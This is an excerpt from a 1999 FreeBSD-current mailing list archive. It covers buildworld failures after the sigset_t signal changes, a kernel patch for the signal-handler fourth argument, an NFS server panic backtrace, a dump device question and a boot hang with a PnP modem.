> echo '#include "i386/perform.h"' >> tm.h
> cc -c -nostdinc -O -pipe -pipe -O -pipe -O -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/a/home/johng/FreeBSD-checkout/40current/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o /a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c
> cc1: Invalid option `-fexceptions'
> *** Error code 1

Mine has stopped at exactly the same point. I started a make world
yesterday (it finished tonight).

> it took me all of 21 minutes for the buildworld to fail.. considering
> I'm not running softupdates, it'd be even faster...

Congratulations!

> > As for me, I'm trying to define the problem as detailed and consise as
> > possible. I already have some specific thoughts and ideas. I'm thinking
> > large here: real cross-compilation capabilities and such (it may be
> > handy for FreeBSD/IA64)...
> 
> ok, the problem is:
> a) -current tools are built w/ -current libc and friends

Yes. This can't be done.

> b) -current libc and friends are NOW (they used to not be this way) unable
>         to run on anything but -current because of the signal changes..

We have never supported running -current binaries (ie compiled against a
-current environment) to run on -stable. If it worked in the past, nice.

> c) the problem is that the signal changes do not provide a way to
>         continue to function in the case that the kernel doesn't support
>         the new syscalls...

No that's not the real problem here. You're redefining the problem to
match your solution.

> we have a catch-22 in the build environment..  the tools need a -current
> libc and friends, and libc and friends needs a -current kernel, and a
> -current kernel needs the tools to be built...

No, we don't have a catch-22. We're using the wrong sources for the
wrong reasons.

> the solution is to make libc and friends be able to operate on a
> non-current system by wrapping the signal stuff in #ifdef's that will
> provide fall back support when requested and use the o* syscalls in
> this case...

That may solve this problem, but doesn't leave you with
cross-compilation.

> what we may want to do, is to leave the old signal code in, and simply
> add in the ability to "select" what signal code we want to include..
> and make it a general system so that it just doesn't apply to the signal
> system...

I can't parse this. The old sisgnal code hasn't been removed. We have to
explicitly add support, because we need to transform the new sigset_t
related calls onto the old.

> this way we can say, we are building under NetBSD, and they don't have
> getcwd as a syscall so we need to compile getcwd as a function using
> this code, instead of using FreeBSD's syscall...

What you are saying, is that libc must be used as a compatibility shell,
right?

> and as Bruce will point out... the fact that -current's libc even builds
> on -stable and has run is completely by chance...

Exactly. So are running binaries.

> our build of libc and tools should detect the system that we are on (or
> be told the type of system) and react accordingly...  before this time
> we have been lucky that it hasn't been needed, but now we need it...

Exactly. This has been discussed in another thread with Rodney.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  0:37: 7 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id C338A14D4A
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 00:36:59 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA09946;
	Fri, 1 Oct 1999 09:35:33 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: German Tischler <tanis@gaspode.franken.de>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Dump device 
In-reply-to: Your message of "Fri, 01 Oct 1999 08:27:20 +0200."
             <19991001082720.A428@gaspode.franken.de> 
Date: Fri, 01 Oct 1999 09:35:32 +0200
Message-ID: <9944.938763332@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Could you send med the output of
	fdisk da0
	disklabel da0

please ?

In message <19991001082720.A428@gaspode.franken.de>, German Tischler writes:
>Hi.
>
>dumpon -v /dev/da0s1b
>
>is failing here with
>
>dumpon: sysctl: kern.dumpdev: No space left on device
>
>Alright, it doesn't have minor number 1 as it is supposed to have
>from the manpage, but using /dev/da0b (supposed to be the same device)
>brings me to the same error.
>
>What am I doing wrong ?
>
>-- 
>German Tischler		tanis@gaspode.franken.de
>			tanis@cip.informatik.uni-wuerzburg.de
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-current" in the body of the message
>

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  0:38: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 9681714D4A
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 00:38:04 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA09946;
	Fri, 1 Oct 1999 09:35:33 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: German Tischler <tanis@gaspode.franken.de>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Dump device 
In-reply-to: Your message of "Fri, 01 Oct 1999 08:27:20 +0200."
             <19991001082720.A428@gaspode.franken.de> 
Date: Fri, 01 Oct 1999 09:35:32 +0200
Message-ID: <9944.938763332@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Could you send med the output of
	fdisk da0
	disklabel da0

please ?

In message <19991001082720.A428@gaspode.franken.de>, German Tischler writes:
>Hi.
>
>dumpon -v /dev/da0s1b
>
>is failing here with
>
>dumpon: sysctl: kern.dumpdev: No space left on device
>
>Alright, it doesn't have minor number 1 as it is supposed to have
>from the manpage, but using /dev/da0b (supposed to be the same device)
>brings me to the same error.
>
>What am I doing wrong ?
>
>-- 
>German Tischler		tanis@gaspode.franken.de
>			tanis@cip.informatik.uni-wuerzburg.de
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-current" in the body of the message
>

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  0:41:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from kremvax.demos.su (kremvax.demos.su [194.87.0.20])
	by hub.freebsd.org (Postfix) with ESMTP
	id 730F814D4A; Fri,  1 Oct 1999 00:41:31 -0700 (PDT)
	(envelope-from sinbin.demos.su!bag@kremvax.demos.su)
Received: by kremvax.demos.su (8.6.13/D) from 0@sinbin.demos.su [194.87.5.31]
          with ESMTP id LAA01988; Fri, 1 Oct 1999 11:38:40 +0400
Received: by sinbin.demos.su id LAA39229;
	(8.6.12/D) Fri, 1 Oct 1999 11:37:02 +0400
From: bag@sinbin.demos.su (Alex G. Bulushev)
Message-Id: <199910010737.LAA39229@sinbin.demos.su>
Subject: 3.3-stable nfsv3/udp server panic (was: Re: vm_fault: fault on nofault entry)
In-Reply-To: <19990922170216.A28102@demos.su> from "Mikhail A. Sokolov" at "Sep 22, 1999  5: 2:17 pm"
To: mishania@demos.net (Mikhail A. Sokolov)
Date: Fri, 1 Oct 1999 11:37:01 +0400 (MSD)
Cc: stable@freebsd.org
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Hi,=20
>=20
> we're experiencing panics on 3.3-stable as of 21st of September,=20
> which looks alike the ones, which were happening with 3.[12] versions.=20

panic before (once per 1-2 day) was for SMP kernel, new one
is for kernel without SMP on the same nfs server, now after 7.5 day of work

# gdb -k kernel.37 vmcore.37
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain condition=
s.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
IdlePTD 2756608
initial pcb at 22a0c0
panicstr: vm_fault: fault on nofault entry, addr: ce024000
panic messages:
---
panic: vm_fault: fault on nofault entry, addr: ce024000

syncing disks... 64 44 25 7 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 giving up
(da1:ahc1:0:1:0): SYNCHRONIZE CACHE. CDB: 35 0 0 0 0 0 0 0 0 0
(da1:ahc1:0:1:0): ILLEGAL REQUEST asc:20,0
(da1:ahc1:0:1:0): Invalid command operation code

dumping to dev 20401, offset 1691306
dump 512 511 510 509 508 507 506 505 504 503 502 501 500 499 498 497 496 49=
5 494 493 492 491 490 489 488 487 486 485 484 483 482 481 480 479 478 477 4=
76 475 474 473 472 471 470 469 468 467 466 465 464 463 462 461 460 459 458 =
457 456 455 454 453 452 451 4=
50 449 448 447 446 445 444 443 442 441 440 439 438 437 436 435 434 433 432 =
431 430 429 428 427 426 425 424 423 422 421 420 419 418 417 416 415 414 413=
 412 411 410 409 408 407 406 405 404 403 402 401 400 399 398 397 396 395 39=
4 393 392 391 390 389 388 387=
 386 385 384 383 382 381 380 379 378 377 376 375 374 373 372 371 370 369 36=
8 367 366 365 364 363 362 361 360 359 358 357 356 355 354 353 352 351 350 3=
49 348 347 346 345 344 343 342 341 340 339 338 337 336 335 334 333 332 331 =
330 329 328 327 326 325 324 3=
23 322 321 320 319 318 317 316 315 314 313 312 311 310 309 308 307 306 305 =
304 303 302 301 300 299 298 297 296 295 294 293 292 291 290 289 288 287 286=
 285 284 283 282 281 280 279 278 277 276 275 274 273 272 271 270 269 268 26=
7 266 265 264 263 262 261 260=
 259 258 257 256 255 254 253 252 251 250 249 248 247 246 245 244 243 242 24=
1 240 239 238 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 2=
22 221 220 219 218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 =
203 202 201 200 199 198 197 1=
96 195 194 193 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 =
177 176 175 174 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159=
 158 157 156 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 14=
0 139 138 137 136 135 134 133=
 132 131 130 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 11=
4 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94=
 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69=
 68 67 66 65 64 63 62 61 60 5=
9 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 3=
4 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9=
 8 7 6 5 4 3 2 1
---
#0  boot (howto=3D256) at ../../kern/kern_shutdown.c:285
285                     dumppcb.pcb_cr3 =3D rcr3();
(kgdb) backtrace
#0  boot (howto=3D256) at ../../kern/kern_shutdown.c:285
#1  0xc013d485 in panic (
    fmt=3D0xc02089e6 "vm_fault: fault on nofault entry, addr: %lx")
    at ../../kern/kern_shutdown.c:446
#2  0xc01c9792 in vm_fault (map=3D0xc0240d2c, vaddr=3D3456253952,
    fault_type=3D1 '\001', fault_flags=3D0) at ../../vm/vm_fault.c:232
#3  0xc01ee0c8 in trap_pfault (frame=3D0xd2dd49dc, usermode=3D0, eva=3D3456=
256104)
    at ../../i386/i386/trap.c:824
#4  0xc01edd7a in trap (frame=3D{tf_es =3D 16, tf_ds =3D -1022492656,
      tf_edi =3D 14436, tf_esi =3D -1022433536, tf_ebp =3D -757249380,
      tf_isp =3D -757249532, tf_ebx =3D -838711196, tf_edx =3D -847782512,
      tf_ecx =3D 8191, tf_eax =3D 39012, tf_trapno =3D 12, tf_err =3D 0,
      tf_eip =3D -1071897493, tf_cs =3D 8, tf_eflags =3D 66178, tf_esp =3D =
-755096640,
      tf_ss =3D -757248584}) at ../../i386/i386/trap.c:437
#5  0xc01c246b in ufs_lookup (ap=3D0xd2dd4ad8) at ../../ufs/ufs/ufs_lookup.=
c:238
#6  0xc01c727d in ufs_vnoperate (ap=3D0xd2dd4ad8)
    at ../../ufs/ufs/ufs_vnops.c:2299
#7  0xc015c4a4 in vfs_cache_lookup (ap=3D0xd2dd4b34) at vnode_if.h:55
#8  0xc01c727d in ufs_vnoperate (ap=3D0xd2dd4b34)
    at ../../ufs/ufs/ufs_vnops.c:2299
#9  0xc015e975 in lookup (ndp=3D0xd2dd4d94) at vnode_if.h:31
#10 0xc019e639 in nfs_namei (ndp=3D0xd2dd4d94, fhp=3D0xd2dd4d0c, len=3D2,
    slp=3D0xc2fa6e00, nam=3D0xc3d1b060, mdp=3D0xd2dd4c48, dposp=3D0xd2dd4c4=
4,
---Type <return> to continue, or q <return> to quit---
    retdirp=3D0xd2dd4c2c, p=3D0xd2d7af40, kerbflag=3D0, pubflag=3D0)
    at ../../nfs/nfs_subs.c:1662
#11 0xc0187277 in nfsrv_lookup (nfsd=3D0xc3608d00, slp=3D0xc2fa6e00,
    procp=3D0xd2d7af40, mrq=3D0xd2dd4e34) at ../../nfs/nfs_serv.c:476
#12 0xc01a0106 in nfssvc_nfsd (nsd=3D0xd2dd4e94, argp=3D0x8071f04 "", p=3D0=
xd2d7af40)
    at ../../nfs/nfs_syscalls.c:656
#13 0xc019fa21 in nfssvc (p=3D0xd2d7af40, uap=3D0xd2dd4f94)
    at ../../nfs/nfs_syscalls.c:342
#14 0xc01ee6ab in syscall (frame=3D{tf_es =3D 39, tf_ds =3D 39, tf_edi =3D =
16,
      tf_esi =3D 0, tf_ebp =3D -1077944892, tf_isp =3D -757248028, tf_ebx =
=3D 0,
      tf_edx =3D -1077945288, tf_ecx =3D 0, tf_eax =3D 155, tf_trapno =3D 1=
2,
      tf_err =3D 2, tf_eip =3D 134518972, tf_cs =3D 31, tf_eflags =3D 642,
      tf_esp =3D -1077945280, tf_ss =3D 39}) at ../../i386/i386/trap.c:1100
#15 0xc01e4a0c in Xint0x80_syscall ()
#16 0x80480e9 in ?? ()
(kgdb)

>=20
>=20
> panicstr: vm_fault: fault on nofault entry, addr: cdf6f000
> panic messages:
> ---
> panic: vm_fault: fault on nofault entry, addr: cdf6f000
> mp_lock =3D 01000002; cpuid =3D 1; lapic.id =3D 00000000
> boot() called on cpu#1
>=20
> syncing disks... 31 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up
>=20
> dumping to dev 20401, offset 1691306
> dump 512 ...
> ---
> #0  boot (howto=3D256) at ../../kern/kern_shutdown.c:285
> 285                     dumppcb.pcb_cr3 =3D rcr3();
> (kgdb) where
> #0  boot (howto=3D256) at ../../kern/kern_shutdown.c:285
> #1  0xc013eee5 in panic (
>     fmt=3D0xc0212416 "vm_fault: fault on nofault entry, addr: %lx")
>     at ../../kern/kern_shutdown.c:446
> #2  0xc01cb9da in vm_fault (map=3D0xc024b65c, vaddr=3D3455512576,
>     fault_type=3D1 '\001', fault_flags=3D0) at ../../vm/vm_fault.c:232
> #3  0xc01f7178 in trap_pfault (frame=3D0xd2dd79dc, usermode=3D0, eva=3D34=
55515023)
>     at ../../i386/i386/trap.c:824
> #4  0xc01f6e2a in trap (frame=3D{tf_es =3D 16, tf_ds =3D -1020919792,
>       tf_edi =3D 39307, tf_esi =3D -1020881664, tf_ebp =3D -757237092,
>       tf_isp =3D -757237244, tf_ebx =3D -839452277, tf_edx =3D -847851736,
>       tf_ecx =3D 8191, tf_eax =3D 227723, tf_trapno =3D 12, tf_err =3D 0,
>       tf_eip =3D -1071888861, tf_cs =3D 8, tf_eflags =3D 66182, tf_esp =
=3D -752403456,
>       tf_ss =3D -757236296}) at ../../i386/i386/trap.c:437
> #5  0xc01c4623 in ufs_lookup (ap=3D0xd2dd7ad8) at ../../ufs/ufs/ufs_looku=
p.c:238
> #6  0xc01c94d1 in ufs_vnoperate (ap=3D0xd2dd7ad8)
>     at ../../ufs/ufs/ufs_vnops.c:2299
> #7  0xc015dfd0 in vfs_cache_lookup (ap=3D0xd2dd7b34) at vnode_if.h:55
> #8  0xc01c94d1 in ufs_vnoperate (ap=3D0xd2dd7b34)
>     at ../../ufs/ufs/ufs_vnops.c:2299
> #9  0xc0160475 in lookup (ndp=3D0xd2dd7d94) at vnode_if.h:31
> #10 0xc01a05b1 in nfs_namei (ndp=3D0xd2dd7d94, fhp=3D0xd2dd7d0c, len=3D2,
>     slp=3D0xc2fa5e00, nam=3D0xc3c1ae30, mdp=3D0xd2dd7c48, dposp=3D0xd2dd7=
c44,
>     retdirp=3D0xd2dd7c2c, p=3D0xd2d7af40, kerbflag=3D0, pubflag=3D0)
>     at ../../nfs/nfs_subs.c:1662
> #11 0xc018926b in nfsrv_lookup (nfsd=3D0xc35dbb00, slp=3D0xc2fa5e00,
>     procp=3D0xd2d7af40, mrq=3D0xd2dd7e34) at ../../nfs/nfs_serv.c:476
> #12 0xc01a205a in nfssvc_nfsd (nsd=3D0xd2dd7e94, argp=3D0x8071f04cannot r=
ead proc at 0
> )
>     at ../../nfs/nfs_syscalls.c:656
> #13 0xc01a1975 in nfssvc (p=3D0xd2d7af40, uap=3D0xd2dd7f94)
>     at ../../nfs/nfs_syscalls.c:342
> #14 0xc01f77cb in syscall (frame=3D{tf_es =3D 39, tf_ds =3D 39, tf_edi =
=3D 16,
>       tf_esi =3D 0, tf_ebp =3D -1077944892, tf_isp =3D -757235740, tf_ebx=
 =3D 0,
>       tf_edx =3D -1077945288, tf_ecx =3D 0, tf_eax =3D 155, tf_trapno =3D=
 12,
>       tf_err =3D 2, tf_eip =3D 134518972, tf_cs =3D 31, tf_eflags =3D 642,
>       tf_esp =3D -1077945280, tf_ss =3D 39}) at ../../i386/i386/trap.c:11=
00
> #15 0xc01e6e3c in Xint0x80_syscall ()
> cannot read proc at 0
> --=20
> -mishania
>=20



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  1:45:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175])
	by hub.freebsd.org (Postfix) with ESMTP id BCE2F14CB7
	for <current@freebsd.org>; Fri,  1 Oct 1999 01:45:18 -0700 (PDT)
	(envelope-from sheldonh@axl.noc.iafrica.com)
Received: from sheldonh (helo=axl.noc.iafrica.com)
	by axl.noc.iafrica.com with local-esmtp (Exim 3.037 #1)
	id 11WyJ6-0009Ov-00; Fri, 01 Oct 1999 10:44:48 +0200
From: Sheldon Hearn <sheldonh@uunet.co.za>
To: Bob Bishop <rb@gid.co.uk>
Cc: current@FreeBSD.ORG
Subject: Re: system freezes with today's kernel 
In-reply-to: Your message of "Thu, 30 Sep 1999 17:00:28 GMT."
             <l03020916b41945e80955@[194.32.164.2]> 
Date: Fri, 01 Oct 1999 10:44:48 +0200
Message-ID: <36140.938767488@axl.noc.iafrica.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Thu, 30 Sep 1999 17:00:28 GMT, Bob Bishop wrote:

> With today's kernel (cvsup at Thu Sep 30 04:04:55 BST 1999), this system
> freezes (no DDB, nothing) as soon as any load is put on it (eg very early
> in buildworld).

From the discussions I see which followed the recent changes to our
signal-handling code, I'd say anyone trying to track the bleeding edge
right now is... well, going to bleed. :-)

Ciao,
Sheldon.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  2:18:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 5E82E14E2F
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 02:18:55 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p10-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.107])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id SAA23762;
	Fri, 1 Oct 1999 18:18:38 +0900 (JST)
Message-ID: <37F40993.E982C180@newsguy.com>
Date: Fri, 01 Oct 1999 10:08:35 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: sobomax@altavista.net, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <37F36496.523EF7F5@altavista.net> <37F36E39.C6849F10@altavista.net> <19990930101814.62251@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:
> 
> hmmm.. that might be an option of providing a kld that emulates the new
> syscalls on an older kernel...  I would want the patch to be available
> for staticly linking into the kernel though.. I don't like LKM/KLD's on
> servers that are suppose to be rock solid...  (at least not yet)

It coulod be part of the TOOLS section of world. Install a kld for
the purpose of buildworld and use it. It would prevent people from
building world on machines with securelevel >= 2, though, and that's
bad.

Nevertheless, since this particular target would only be compiled to
deal with this kind of nasty changes, and would not be required most
of the time, it sounds reasonable to me.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  2:20:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 9B9AA15139
	for <current@freebsd.org>; Fri,  1 Oct 1999 02:20:35 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11Wyt5-000HhR-00; Fri, 1 Oct 1999 09:21:59 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id LAA35553;
	Fri, 1 Oct 1999 11:20:24 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F47CD8.9F676F08@scc.nl>
Date: Fri, 01 Oct 1999 11:20:24 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: current@FreeBSD.org, Bruce Evans <bde@zeta.org.au>,
	John Polstra <jdp@polstra.com>, Nate Williams <nate@mt.sri.com>,
	Alan Cox <alc@cs.rice.edu>, Peter Wemm <peter@netplex.com.au>
Subject: sigset_t: a summary
Content-Type: multipart/mixed;
 boundary="------------A0130F8A2F31E0358A6BA7D4"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

This is a multi-part message in MIME format.
--------------A0130F8A2F31E0358A6BA7D4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ok,

While in general the integration went well, a couple of issues have been
raised. These are:

1. building with a -current source tree on -stable fails. This also
   means that we currently don't have the possibility to upgrade
   from -stable to -current.
2. Incompatibilities wrt to the disappearence of sigcontext and the
   undocumented 4th argument to signal handlers.
3. Numerous style bugs and namespace pollution in the last commit.

I don't think I should try to solve all issues at once.

The way I see it is:

o  Fixing issue 1 (cross-compilation) needs a concession. I like
   to really solve the actual problem, because that would help to
   support multiple architectures, including new ones. Other
   solutions have been proposed, each with different pros and
   cons, but they all are bandaids to different extends (IMO).
o  Fixing issue 2 (incompatibilities) is more urgent. We are now
   in a position to fix what was broken. The problem will get
   harder to fix the longer we wait.
o  Fixing issue 3 (non-critical bugs) is not urgent, but there
   may be bugs that cause breakage. I suggest that urgent bugs
   get fixed ASAP. Others may be fixed at any time.

So, to start with issue 2:

To start with the beginning:

1. Should the ucontext_t changes be backed out, or is this the
   way we would like to go? (but only it better :-)

2. The 4th argument issue (pointed out by Alan) can be easily
   fixed. See the attached patch. If this is allright with
   everyone, I'll commit it (assuming Q1 is answered positive).

Corrections, additions and the likes are welcome (as usual :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org
--------------A0130F8A2F31E0358A6BA7D4
Content-Type: text/plain; charset=us-ascii;
 name="4th.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="4th.diff"

Index: i386/machdep.c
===================================================================
RCS file: /home/ncvs/src/sys/i386/i386/machdep.c,v
retrieving revision 1.364
diff -u -r1.364 machdep.c
--- machdep.c	1999/10/01 07:49:37	1.364
+++ machdep.c	1999/10/01 09:13:32
@@ -687,6 +687,7 @@
 	else {
 		/* Old FreeBSD-style arguments. */
 		sf.sf_siginfo = code;
+		sf.sf_addr = (char *)regs->tf_err;
 		sf.sf_ahu.sf_handler = catcher;
 	}
 
Index: include/sigframe.h
===================================================================
RCS file: /home/ncvs/src/sys/i386/include/sigframe.h,v
retrieving revision 1.1
diff -u -r1.1 sigframe.h
--- sigframe.h	1999/09/29 15:06:23	1.1
+++ sigframe.h	1999/10/01 09:11:38
@@ -68,12 +68,12 @@
 
 struct sigframe {
 	/*
-	 * The first three members may be used by applications.
+	 * The first four members may be used by applications.
 	 */
 	register_t	sf_signum;
 	register_t	sf_siginfo;		/* code or pointer to sf_si */
 	register_t	sf_ucontext;		/* points to sf_uc */
-	register_t	__spare__;		/* Align sf_ahu */
+	char		*sf_addr;		/* undocumented 4th arg */
 	union {
 		__siginfohandler_t	*sf_action;
 		__sighandler_t		*sf_handler;

--------------A0130F8A2F31E0358A6BA7D4--



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  4: 4:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id 1D09614D6F
	for <freebsd-current@FreeBSD.org>; Fri,  1 Oct 1999 04:04:32 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: from vigrid.com (pm3-pt43.pcnet.net [206.105.29.117])
	by pcnet1.pcnet.com (8.8.7/PCNet) with ESMTP id HAA02630
	for <freebsd-current@FreeBSD.org>; Fri, 1 Oct 1999 07:03:10 -0400 (EDT)
Message-ID: <37F4951E.C27DC624@vigrid.com>
Date: Fri, 01 Oct 1999 07:03:58 -0400
From: "Daniel M. Eischen" <eischen@vigrid.com>
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 4.0-CURRENT i386)
X-Accept-Language: en
MIME-Version: 1.0
To: freebsd-current@FreeBSD.org
Subject: Recent kernel hangs during boot with pnp sio.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I have a pnp modem "SupraExpress 56i Sp V.90" that works fine with a
kernel from Aug 22.  Here is an excerpt from a successful boot:

     atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
     atkbd0: <AT Keyboard> irq 1 on atkbdc0
     vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
     sc0: <System console> on isa0
     sc0: VGA <16 virtual consoles, flags=0x200>
     sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
     sio0: type 16550A
     sio1 at port 0x2f8-0x2ff irq 3 on isa0
     sio1: type 16550A
---> sio2 at port 0x3e8-0x3ef irq 11 on isa0
---> sio2: type 16550A
     Waiting 5 seconds for SCSI devices to settle
     sa0 at ahc0 bus 0 target 3 lun 0
     sa0: <HP C1533A 9406> Removable Sequential Access SCSI-2 device 
     sa0: 10.000MB/s transfers (10.000MHz, offset 8)
     changing root device to da0s3a
     [...]

Todays GENERIC kernel hangs after correctly detecting sio2, with no keyboard
input, reboot necessary, yada yada yada.

Disabling sio2 from the config menu will let it boot.  Here's a
verbose log of todays GENERIC kernel with sio2 disabled:

      us:  fast PIO disabled
      intel_piix_status: secondary master/slave sample = 5, master/slave recovery = 4
      intel_piix_status: secondary slave fastDMAonly disabled, pre/post disabled,
      intel_piix_status:  IORDY sampling disabled,
      intel_piix_status:  fast PIO disabled
      ide_pci: busmaster 1 status: 04 from port: 0000d80a
      chip1: <UHCI USB controller> irq 9 at device 4.2 on pci0
      chip2: <Intel 82371AB Power management controller> at device 4.3 on pci0
      ahc0: <Adaptec aic7880 Ultra SCSI adapter> irq 9 at device 6.0 on pci0
      ahc0: Reading SEEPROM...done.
      ahc0: internal 50 cable is present, internal 68 cable is present
